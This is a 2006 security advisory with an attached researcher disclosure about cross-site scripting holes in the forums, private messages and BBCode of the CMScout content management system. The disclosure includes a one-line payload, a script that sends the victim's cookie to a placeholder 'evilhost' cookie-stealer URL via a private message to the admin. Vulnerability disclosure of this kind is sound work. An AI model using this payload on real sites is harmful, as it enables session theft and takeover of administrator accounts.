Category:   Application (Forum/Board/Portal)  >   CMScout Vendors:   CMScout
CMScout Input Validation Holes in Forum and Private Messages Let Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1016023
SecurityTracker URL:  http://securitytracker.com/id/1016023
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 3 2006
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 1.10 and prior versions
Description:   A vulnerability was reported in CMScout. A remote user can conduct cross-site scripting attacks.

Several scripts do not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the CMScout software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The forums and private messages are affected. BBCode is also affected.

Nomenumbra discovered this vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the CMScout software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.cmscout.za.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

Cmscout <= V1.10 multiple XSS attack vectors

Discovered by: Nomenumbra

Date: 5/2/2006

impact:moderate (privilege escalation,possible defacement)


CMScout is a CMS (Content management system) for scouting related groups from around the world.

A CMS is a piece of web software that makes it easy for you to install, and manage a website.

CMScout includes all the features of other major CMS's that are available (Like PHP-Nuke, Mambo, e107, etc.).


Added news items and events are properly filtered for potential XSS input, input in the forums and PM's however, is not.

For example, when one would send a pm to the admin like this:


Subject: whatever

Body: <script>window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)</script>


we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too.
